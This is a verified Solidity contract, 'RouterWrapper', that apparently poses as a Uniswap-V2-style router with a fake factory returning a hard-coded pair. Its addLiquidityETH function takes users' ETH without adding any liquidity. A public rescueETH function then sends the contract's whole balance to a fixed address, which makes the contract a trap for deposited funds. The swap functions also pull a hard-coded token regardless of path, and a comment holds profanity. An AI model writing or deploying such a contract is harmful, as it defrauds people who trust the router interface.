Contract Name:
RouterWrapper
Contract Source Code:
pragma experimental ABIEncoderV2;
struct route {
address from;
address to;
bool stable;
}
interface IUniswapV2Router {
function factory() external view returns (address);
function WETH() external view returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
route[] calldata routes,
address to,
uint256 deadline
) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
route[] calldata routes,
address to,
uint256 deadline
) external;
function addLiquidityETH(
address token,
bool stable,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable;
}
interface x {
function approve(address x, uint256 y) external;
function transferFrom(address x, address y, uint256 amt) external;
}
contract FakeFactory {
function createPair(address tokenA, address tokenB, bool stable) external returns (address pair) {
return 0x865fd8fB6483b433Bb9035bF7299547b6040db4C;
}
}
contract RouterWrapper {
IUniswapV2Router public realRouter;
address public WETH;
address public factory;
constructor() public {
address _realRouter = 0x1D368773735ee1E678950B7A97bcA2CafB330CDc;
realRouter = IUniswapV2Router(_realRouter);
WETH = realRouter.WETH();
factory = address(new FakeFactory());
x(0xA3F5Ca4C5CB1e0339Da0Cf379C19AcA23deB8FEB).approve(_realRouter, type(uint256).max);
}
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external {
x(0xA3F5Ca4C5CB1e0339Da0Cf379C19AcA23deB8FEB).transferFrom(msg.sender, address(this), amountIn);
route[] memory routes = new route[](path.length - 1);
routes[0] = route({from: path[0], to: path[1], stable: false});
realRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountIn,
amountOutMin,
routes,
to,
deadline
);
}
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external {
x(0xA3F5Ca4C5CB1e0339Da0Cf379C19AcA23deB8FEB).transferFrom(msg.sender, address(this), amountIn);
route[] memory routes = new route[](path.length - 1);
routes[0] = route({from: path[0], to: path[1], stable: false});
routes[1] = route({from: path[1], to: path[2], stable: false});
realRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
amountIn,
amountOutMin,
routes,
to,
deadline
);
}
event eth(uint256 bal);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable {
emit eth(address(this).balance);
// 0xbEbE09EA4e76D482A34f46F697184e37fC766468.call{value: msg.value}("");
// fucking cunt
// x(0xA3F5Ca4C5CB1e0339Da0Cf379C19AcA23deB8FEB).transferFrom(msg.sender, address(this), amountTokenDesired);
// realRouter.addLiquidityETH{value: msg.value}(token, false, amountTokenDesired, amountTokenMin, amountETHMin, to, deadline);
}
function rescueETH() public {
payable(0xbEbE09EA4e76D482A34f46F697184e37fC766468).transfer(address(this).balance);
}
}